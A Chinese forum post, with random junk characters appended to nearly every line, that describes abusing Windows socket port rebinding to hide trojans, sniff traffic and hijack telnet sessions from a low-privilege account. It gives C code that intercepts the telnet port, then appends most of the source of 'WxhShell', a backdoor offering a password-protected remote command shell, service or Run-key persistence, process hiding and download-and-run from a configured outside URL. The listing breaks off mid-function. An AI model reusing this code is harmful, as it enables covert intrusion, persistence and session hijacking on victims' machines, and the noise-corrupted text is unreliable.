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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mn03KF=n]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l@&-be  
<lR:^M[v5<  
  saddr.sin_family = AF_INET; {J)%6eL?  
9n is8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C&Qt*V#,  
i#4+l$q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f/c&Ya(D~  
^~N:lW#=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tm/ >H  
AmC9qk8Q  
  这意味着什么?意味着可以进行如下的攻击: 3\4e{3$  
vv&< 7[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2H w7V3q  
e|:\Ps`8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]d[e  
lusUmFm'*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Pk;/4jt4  
|J4sQ!%K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g4k3~,=D3  
Y!45Kio  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7k,BE2]"  
q)9n%- YgP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2FaCrc/  
fZpi+I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J:"@S%gy%  
Q>Klkd5(  
  #include /&|p7  
  #include tl /i  
  #include Odwf7>  
  #include    YvN]7tcb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'k]~Q{K$  
  int main() 0?oL zw&  
  { p*5_+u  
  WORD wVersionRequested; ;=$;h6W0  
  DWORD ret; st* sv}  
  WSADATA wsaData; ]VQd *~ -  
  BOOL val; iS)-25M'  
  SOCKADDR_IN saddr; r'yNc&~  
  SOCKADDR_IN scaddr; UUDHknm"  
  int err; ECi;o1hda  
  SOCKET s; 7w2$?k',-  
  SOCKET sc;  ?;v\wx  
  int caddsize; ?o.d FKUe  
  HANDLE mt; ]B;`Jf  
  DWORD tid;   M.,DXEZT  
  wVersionRequested = MAKEWORD( 2, 2 ); l'q%bi=f  
  err = WSAStartup( wVersionRequested, &wsaData ); CR23$<FC  
  if ( err != 0 ) { L3HC-  
  printf("error!WSAStartup failed!\n"); y+k^CT/u  
  return -1; P<Bx1H-z-  
  } O >+=cg  
  saddr.sin_family = AF_INET; UFT JobU  
   p~3 x=X4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0ZwXuq  
k L6s49  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /d}"s.3p  
  saddr.sin_port = htons(23); BFw_T3}zn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {e|.AD  
  { d'Bxi"K  
  printf("error!socket failed!\n"); 8#JX#<HEo  
  return -1; TW>GYGz  
  } w!H(zjv&(  
  val = TRUE; >i*,6Psl[Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JDR_k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Uc:NW   
  { e(/F:ZEh  
  printf("error!setsockopt failed!\n"); !@ ]IJ"\  
  return -1; b4dviYI  
  } Dfzj/spFV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J)n_u),  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r@C~_LgL)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 UJh;Hp:  
1xEOYM)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `dcz9 *  
  { }R 16WY_'  
  ret=GetLastError(); W;=Ae~  
  printf("error!bind failed!\n"); /;(ji?wN  
  return -1; nl 'MWP  
  } v.<mrI#?  
  listen(s,2); 1D#-,#?  
  while(1) FfM^2`xP  
  { MZ$uWm`/  
  caddsize = sizeof(scaddr); .,z6a  
  //接受连接请求 Wgh@XB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N8pL2y:R[P  
  if(sc!=INVALID_SOCKET) \mh #MMp  
  { 5z 0VMt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9o5D3 d K  
  if(mt==NULL) In_"iEo,  
  { TyIjDG6tM  
  printf("Thread Creat Failed!\n"); T4wk$R L  
  break; `K5*Fjx  
  } ':;k<(<-  
  } MAkr9AKb,  
  CloseHandle(mt); ^K"BQ~-w  
  } $O*@Jg=  
  closesocket(s); {rR(K"M  
  WSACleanup(); }r@dZ Bp:  
  return 0; 9}9VZ r?  
  }   }ww/e\|Nt=  
  DWORD WINAPI ClientThread(LPVOID lpParam) Bz_'>6w  
  { V($V8P/  
  SOCKET ss = (SOCKET)lpParam; KWY_eY_|  
  SOCKET sc; f/O6~I&g  
  unsigned char buf[4096]; e1-tpD:J  
  SOCKADDR_IN saddr; !Nx1I  
  long num; SC~k4&xy  
  DWORD val; ?v M9 !  
  DWORD ret; ecs 0iW-,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +`GtZnt#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,9bnR;f\  
  saddr.sin_family = AF_INET; %\<b{x# G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h97#(_wV>  
  saddr.sin_port = htons(23); 6qZ\^ U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A811VL^  
  { ErNYiYLi]  
  printf("error!socket failed!\n"); Tp;W4]'a*:  
  return -1; 4{kH;~ z$  
  } At:8+S<?A  
  val = 100; ?'P}ZC8P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <r: AJ;  
  { B%;MGb o  
  ret = GetLastError(); ?yS1|CF%&y  
  return -1; Zw9;g+9  
  } `Fn"QL-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b`-|7<s  
  { @5nFa~*K%  
  ret = GetLastError(); I2*rtVAP'j  
  return -1; zw+aZDcV(  
  } q_.fVn:!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d:';s~  
  { m@Yc&M~  
  printf("error!socket connect failed!\n"); aq$ hE-{28  
  closesocket(sc); /j GBQ-X  
  closesocket(ss); 4`#Q  
  return -1; j-ej7  
  } C*(  
  while(1) k B>F(^  
  { AChz}N$C  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |2q3spd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 AVpg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]Orx %8QS!  
  num = recv(ss,buf,4096,0); d>hv-n D  
  if(num>0) g.Xk6"kO  
  send(sc,buf,num,0); %)r ~GCd  
  else if(num==0) oa:YAq T  
  break; /J#(8p  
  num = recv(sc,buf,4096,0); \A[l(aB  
  if(num>0) vt#;j;liG  
  send(ss,buf,num,0); w95M B*N  
  else if(num==0) o]oiJvOr  
  break; &+2l#3}  
  } ,_3hbT8Q  
  closesocket(ss); _Ub `\ytx  
  closesocket(sc); !e|\1v'0  
  return 0 ; G7CeWfS  
  } ls@]%pz.1d  
(P)G|2=  
Q|AZv>'!  
========================================================== 27eG8  
g5B TZZ  
下边附上一个代码,,WXhSHELL SQ>i:D;  
ZUQ _u  
========================================================== >Wr%usNxc  
d<a|dwAeh  
#include "stdafx.h" 2 kDsIEA  
`} PYltW  
#include <stdio.h> 7s(tAbPdB  
#include <string.h> )]1hN;Nz  
#include <windows.h> 6CBk=)qH  
#include <winsock2.h> I$7eiW @  
#include <winsvc.h> +& r!%j7  
#include <urlmon.h> s/D)X=P1  
.hat!Tt9  
#pragma comment (lib, "Ws2_32.lib") "@UQSf,  
#pragma comment (lib, "urlmon.lib") @V*dF|# /  
q\6(_U#Tl  
#define MAX_USER   100 // 最大客户端连接数 OH\^j1x9I  
#define BUF_SOCK   200 // sock buffer Q7865  
#define KEY_BUFF   255 // 输入 buffer xR1G  
hk~/W}sI  
#define REBOOT     0   // 重启 W" 5nS =d%  
#define SHUTDOWN   1   // 关机 ]b4IO4T  
$,4h\>1WP  
#define DEF_PORT   5000 // 监听端口 @gI1:-chB  
fM;,9  
#define REG_LEN     16   // 注册表键长度 ;/K2h_=3z  
#define SVC_LEN     80   // NT服务名长度 zU?O)w1'  
7PY$=L48A  
// 从dll定义API 2zTi/&K&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;Q;j@yx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j!u)V1,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9-ozrw8t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &N7ji  
?"d$SK"6Z  
// wxhshell配置信息 9|+6@6VY!  
struct WSCFG { mOE *[S)  
  int ws_port;         // 监听端口 s\ -,RQ1  
  char ws_passstr[REG_LEN]; // 口令 .9jKD*U|  
  int ws_autoins;       // 安装标记, 1=yes 0=no z]G|)16  
  char ws_regname[REG_LEN]; // 注册表键名 (>v'0 RA  
  char ws_svcname[REG_LEN]; // 服务名 \/NF??k,jk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ukWn@q*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1-_r\sb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BN_h3|)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |9I)YD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [oLV,O|s|j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zl9@E;|=  
L)sgW(@2  
}; /'/I^ab  
qyH -Z@  
// default Wxhshell configuration h|qJ{tUWc$  
struct WSCFG wscfg={DEF_PORT, "D(Lp*3hj&  
    "xuhuanlingzhe", `R[Hxi  
    1, .hl_zc#  
    "Wxhshell", bNea5u##  
    "Wxhshell", W: ]FYC  
            "WxhShell Service", Ww7Ya]b.k  
    "Wrsky Windows CmdShell Service", I~GF%$-G  
    "Please Input Your Password: ", GShxPH{_j  
  1, -JMn?]  
  "http://www.wrsky.com/wxhshell.exe", V'vR(Wx  
  "Wxhshell.exe" AcH-TIgM/  
    }; ux;?WPyr  
[^5\Ww  
// 消息定义模块 v 4ot08 C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ";K w?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A6&*VD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d#ir=+o{h  
char *msg_ws_ext="\n\rExit."; !J`lA  
char *msg_ws_end="\n\rQuit."; ZaFt4#  
char *msg_ws_boot="\n\rReboot..."; 2B,O/3y  
char *msg_ws_poff="\n\rShutdown..."; Ed9Uw 7  
char *msg_ws_down="\n\rSave to "; D|;O9iks#  
6%v9o?:~l  
char *msg_ws_err="\n\rErr!"; -=ZL(r 1  
char *msg_ws_ok="\n\rOK!"; JB_fS/I  
oUv26t~  
char ExeFile[MAX_PATH]; u!_l/'\  
int nUser = 0; $]v}X},,  
HANDLE handles[MAX_USER]; ^J'_CA  
int OsIsNt; ;5[KZ8j6Y  
8H!QekQZ]\  
SERVICE_STATUS       serviceStatus; rpR${%jc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `9~ %6N?7#  
,WT>"9+  
// 函数声明 %q{q.(M#  
int Install(void); fr@F7s5}  
int Uninstall(void); 9njwAKF?  
int DownloadFile(char *sURL, SOCKET wsh); )BP*|URc  
int Boot(int flag); K@D\5s|1|  
void HideProc(void); mDB  
int GetOsVer(void); V>Wk\'h  
int Wxhshell(SOCKET wsl); Zi!Ta"}8  
void TalkWithClient(void *cs); r* *zjv>  
int CmdShell(SOCKET sock); M([#Py9h  
int StartFromService(void); o96C^y{~S  
int StartWxhshell(LPSTR lpCmdLine); "W|A^@r}  
n<I{x^!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rwm^{Qa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _fGTTw(  
cnv>&6a)  
// 数据结构和表定义 ZO0 Ee1/  
SERVICE_TABLE_ENTRY DispatchTable[] = bzg C+yT  
{ \o9 \i kR  
{wscfg.ws_svcname, NTServiceMain}, zw0w."V  
{NULL, NULL} XX6Z|Y5.  
}; "t@p9>  
9Em#Ela  
// 自我安装 u;#]eUk9}  
int Install(void) !rvEo =^  
{ 9"[;ld<  
  char svExeFile[MAX_PATH]; v9*m0|T0M  
  HKEY key; JxAQ,oOO  
  strcpy(svExeFile,ExeFile); qWt}8_"  
0#q=-M/?`  
// 如果是win9x系统,修改注册表设为自启动 VtreOJ+  
if(!OsIsNt) { x%{]'z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ' W/M>!X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z6>@9+V-&  
  RegCloseKey(key); @f!X%)\;x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d=!:UB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cy/&KWLenf  
  RegCloseKey(key); U|(+-R8Z  
  return 0; -N *L1Zj  
    } EY}:aur  
  } em$pU*`P  
} #YUaM<O  
else { 1<@SMcj>  
M`xiC  
// 如果是NT以上系统,安装为系统服务 gv#\}/->4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y +gY"  
if (schSCManager!=0) 3a/n/_D  
{ Y.tx$%  
  SC_HANDLE schService = CreateService d:H'[l.F%  
  ( l'@-?p(Vuw  
  schSCManager, 2G8pDvBr  
  wscfg.ws_svcname, e~'` x38  
  wscfg.ws_svcdisp, jN=<d q ~  
  SERVICE_ALL_ACCESS, U$rMZk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yo-}uTkw  
  SERVICE_AUTO_START, H=t"qEp  
  SERVICE_ERROR_NORMAL, XR5KJl  
  svExeFile, Xlo7enzY  
  NULL, 5E:$\z;  
  NULL, 5of3&  
  NULL, q}1ZuK`6  
  NULL, =W(*0"RM  
  NULL B5e9'X^ [  
  ); sE1cvAw9l  
  if (schService!=0) 4ls:BO;k]  
  { xNP_>Qa~  
  CloseServiceHandle(schService); a QH6akH  
  CloseServiceHandle(schSCManager); Fe+ @;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +2tQ FV;  
  strcat(svExeFile,wscfg.ws_svcname); ==[,;g x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +^)v"@,VP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /@os*c|je  
  RegCloseKey(key); +SJ.BmT  
  return 0; D$>_W,*V  
    } ,pNx(a  
  } c/{FDN  
  CloseServiceHandle(schSCManager); >.h:Y5  
} ,Z. sGv  
} 4 1_gak;  
*O?c~UJhhV  
return 1; _n&Nw7d2 M  
} rS8a/d~;0  
&)eg3P)7  
// 自我卸载 8v:{BHX  
int Uninstall(void) ?RRO  
{ 0p.bmQSH  
  HKEY key; g(7 -3q8eq  
0mw1CUx9K  
if(!OsIsNt) { c:[k+_Zr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V+d_1] l  
  RegDeleteValue(key,wscfg.ws_regname); "fFSZ@,r  
  RegCloseKey(key); {(73*-~$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]B8 A  
  RegDeleteValue(key,wscfg.ws_regname); pYO =pL^Q  
  RegCloseKey(key); \& JZ >h  
  return 0; qnm_#!&uHT  
  } (8nv&|  
} h}b:-a  
} xNz(LZ.c  
else { #-hO\ QdC  
v=`yfCX-qX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x2"iZzQlD  
if (schSCManager!=0) 8:cbr/F<  
{ H= dIZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?^|`A}q#  
  if (schService!=0) 18g_v"6o  
  { Hl*vS  
  if(DeleteService(schService)!=0) { Fu7:4+  
  CloseServiceHandle(schService); bbm\y] !t  
  CloseServiceHandle(schSCManager); dZM^?rq  
  return 0; jX53 owZ  
  } [^H2'&]  
  CloseServiceHandle(schService); xn8K OwX%  
  } F_-Lu]*  
  CloseServiceHandle(schSCManager); j!;LN)s@?  
} W{p}N  
} LiJYyp  
.Po"qoGy  
return 1; _vQ52H,  
} j;x()iZ<  
ez4!5&TzRm  
// 从指定url下载文件  U 'jt'(  
int DownloadFile(char *sURL, SOCKET wsh) .RQra+up  
{ RNIXQns-=S  
  HRESULT hr; jnH\}IB  
char seps[]= "/"; XxqGsGx4  
char *token; ZsGvv]P  
char *file; (Wzp sDte  
char myURL[MAX_PATH]; ju~$FNt8R  
char myFILE[MAX_PATH]; Gvb2>ZN  
Lp`.fn8Ln  
strcpy(myURL,sURL); x`CjFaE~F  
  token=strtok(myURL,seps); #A63?kDE&&  
  while(token!=NULL) 8-$t7bV5  
  { !oLn=  
    file=token; sJHVnMA  
  token=strtok(NULL,seps); 4WT[(  
  }  ZR.k'  
!\4x{Wa]  
GetCurrentDirectory(MAX_PATH,myFILE); &(F c .3m  
strcat(myFILE, "\\"); g` rr3jP  
strcat(myFILE, file); =]5tYIU  
  send(wsh,myFILE,strlen(myFILE),0);  T:}Q3  
send(wsh,"...",3,0); ~o}:!y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PK\ZRl  
  if(hr==S_OK) \ovs[&  
return 0; f}otIf  
else a[{$4JpK  
return 1; m*0YMS>Y |  
7vRtTP  
} -YoL.`s1   
w,{h9f  
// 系统电源模块 6j E.X  
int Boot(int flag) &OR(]Wt0  
{ N['DqS =  
  HANDLE hToken; 43=v2P0=Tj  
  TOKEN_PRIVILEGES tkp; l1KMEGmG  
]ua3I}_B6v  
  if(OsIsNt) { S zo'[/ [R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); js$R^P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (qn=BP I  
    tkp.PrivilegeCount = 1; ~(kEGEF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; os V6=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GT{4L]C  
if(flag==REBOOT) { +{UY9_~\3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "ubp`7%67  
  return 0; #~0Nk6*u  
} J}|X  
else { \C~X_/sg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :X>Wd+lY:_  
  return 0; Q_mphW:[  
} -jH|L{Iyq}  
  } dPUe5k)G_  
  else { 1M ?BSH{  
if(flag==REBOOT) { Rv1W&s&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  Y@,iDQ  
  return 0; a~}q]o?j  
} $4bc!  
else { F:j@JMpQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) osC?2.  
  return 0; h nydH-;cz  
} *ug~LK5Y.  
} v^"\e&XL  
E@VQxB7+  
return 1; 3%vXB=>T!  
} T(|'.&a  
I~,.@{4  
// win9x进程隐藏模块 RpdUR*K9x  
void HideProc(void) !'f7;%7s  
{ q4ROuE|d  
Pnytox  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^eW<-n@^  
  if ( hKernel != NULL ) BabaKSm}LP  
  { )&6gju7(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y6{^cZ!=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M7#!Y=  
    FreeLibrary(hKernel); m8n)sw,,  
  } `_/bg(E  
--h\tj\U  
return; wAh]C;+{  
} zB.cOMx  
LV}R 9f  
// 获取操作系统版本 SYJO3cY  
int GetOsVer(void) -()WTdIy  
{ c~0kZA6  
  OSVERSIONINFO winfo; m*^)#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zt.k Nb  
  GetVersionEx(&winfo); OqtGKda  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =D<0&M9C  
  return 1; ]545:)Q1  
  else (\\;A?  
  return 0; D4%J!L<P  
} @3`5(xwzm  
=rKJJa N  
// 客户端句柄模块 XkI'm\W  
int Wxhshell(SOCKET wsl) Q)75?mn  
{ yan^\)HZ  
  SOCKET wsh; xHgC':l(0  
  struct sockaddr_in client; (p]FI#y  
  DWORD myID; ?Y"%BS+pt  
161P%sGx2  
  while(nUser<MAX_USER) MA .;=T  
{ la[ pA  
  int nSize=sizeof(client); TY8gB!^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  _a09;C  
  if(wsh==INVALID_SOCKET) return 1; AVT % AS  
^'QO!{7f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U]hqRL  
if(handles[nUser]==0) 9f~qD&~  
  closesocket(wsh); fPe S;  
else *p/,Z2f  
  nUser++; ^h?fr`  
  } @O"7@%nu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^\}MG!l  
|E+.y&0;  
  return 0; ZRMim6a4X  
} {4_s:+v0  
i6Z7O )V  
// 关闭 socket V?XQjH1X  
void CloseIt(SOCKET wsh) 7FH(C`uKi  
{ _k:8ib2TQ  
closesocket(wsh); !}Xoqamm  
nUser--; Snr(<u  
ExitThread(0); l";Yw]:^  
} FjCGD4x1N  
t6Iy5)=zY  
// 客户端请求句柄 ]_ C"A  
void TalkWithClient(void *cs) Pe`mZCd^  
{ s;A7:_z#7  
; Z:[LJd  
  SOCKET wsh=(SOCKET)cs; 8Lgt  
  char pwd[SVC_LEN]; UPtj@gtcY  
  char cmd[KEY_BUFF]; ~ z^?+MgZ2  
char chr[1]; .x I Aep_  
int i,j; %ap(=^|5  
Y0(4]X \ey  
  while (nUser < MAX_USER) { 1!uBzO6/$  
(xgw';g  
if(wscfg.ws_passstr) { ?]><#[?'L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x3n9|Uud  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "B'c;0 @q  
  //ZeroMemory(pwd,KEY_BUFF); >0HH#JW  
      i=0; OIK x:&uIk  
  while(i<SVC_LEN) { T"xJY#)}  
/r4l7K  
  // 设置超时 N7?]eD  
  fd_set FdRead; p]L]=-(qI  
  struct timeval TimeOut; [!uzXVS3  
  FD_ZERO(&FdRead); |r~u7U\  
  FD_SET(wsh,&FdRead); B:h<iU:'D  
  TimeOut.tv_sec=8; |_?e.}K  
  TimeOut.tv_usec=0; >XtfT'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5 `1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gnJ8tuS  
AM+5_'S,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kQkc+sGJf  
  pwd=chr[0]; 9#9 UzKX#  
  if(chr[0]==0xd || chr[0]==0xa) { @gN"Q\;F  
  pwd=0; O2fq9%lk  
  break; Avw=*ZW  
  } ///Lg{ ie  
  i++; 96w2qgc2  
    } bK:U:vpYm  
A8f.h5~9  
  // 如果是非法用户,关闭 socket [9 MH"\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <vcU5 .K.  
} xn*$Ty+  
*2 Pr1U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3sr_V~cZ9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ||hQ*X<m>  
 VAiJL  
while(1) { i q`}c |c  
"pkdZ   
  ZeroMemory(cmd,KEY_BUFF); a``|sn9  
]g-%7g|  
      // 自动支持客户端 telnet标准   {+9RJmZg  
  j=0; Y w0,K&  
  while(j<KEY_BUFF) { I )mB]j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :)1"yo\  
  cmd[j]=chr[0]; q-!H7o  
  if(chr[0]==0xa || chr[0]==0xd) { >'4A[$$4mM  
  cmd[j]=0; Ki><~!L  
  break; r w!jmvHE&  
  } ZWkRoJXNi  
  j++; ko9}?qs  
    } `,]Bs*~  
CH6 m  
  // 下载文件 ? xR7Ii3  
  if(strstr(cmd,"http://")) { ^m z9sV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M v6 ^('  
  if(DownloadFile(cmd,wsh)) l.@1]4.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d-b04Q7DQ  
  else K/W=r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uHU@j(&c  
  } s|p I`  
  else { 8m") )i-  
%j tUbBN  
    switch(cmd[0]) { w0!$ow.l  
  w(@r-2D"  
  // 帮助 Jk*cuf `rq  
  case '?': { @` KYgjjH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); , ;,B7g  
    break; krfXvQJwJ  
  } .D W>c}1  
  // 安装 o-6d$c}{f  
  case 'i': { `<9>X9.+  
    if(Install()) BpIyw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4]r_K2.cc  
    else H9)@q3<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PCl5,]B}  
    break; ~xd?y*gk;  
    } O|H:  
  // 卸载 &vrQ *jX  
  case 'r': { s70Z&3A  
    if(Uninstall()) DMUirA;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tLu&3<%  
    else 4<Vi`X7[F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (~DW_+?]'  
    break; 9w-\K]  
    } *s4|'KS2o  
  // 显示 wxhshell 所在路径 [Vs\r&qL  
  case 'p': { ,)`_?^ \$f  
    char svExeFile[MAX_PATH]; %}@iz(*}>  
    strcpy(svExeFile,"\n\r"); i >3`V6  
      strcat(svExeFile,ExeFile); ?W'z5'|  
        send(wsh,svExeFile,strlen(svExeFile),0); nkHl;;WJ  
    break; !R8%C!=a  
    } R&|.Lvmc/  
  // 重启 L3{(B u  
  case 'b': { 2Wzx1_D "a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HTh? &u\QG  
    if(Boot(REBOOT)) >W>rhxU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }r,M (Zr  
    else { uZ?P{E,K  
    closesocket(wsh); vx9!KWy}  
    ExitThread(0); 4A J]qu  
    } JX0M3|I=  
    break; ox&5} &\  
    } 3%*igpj\)  
  // 关机 +@ChZ  
  case 'd': { %"`p&aE:  
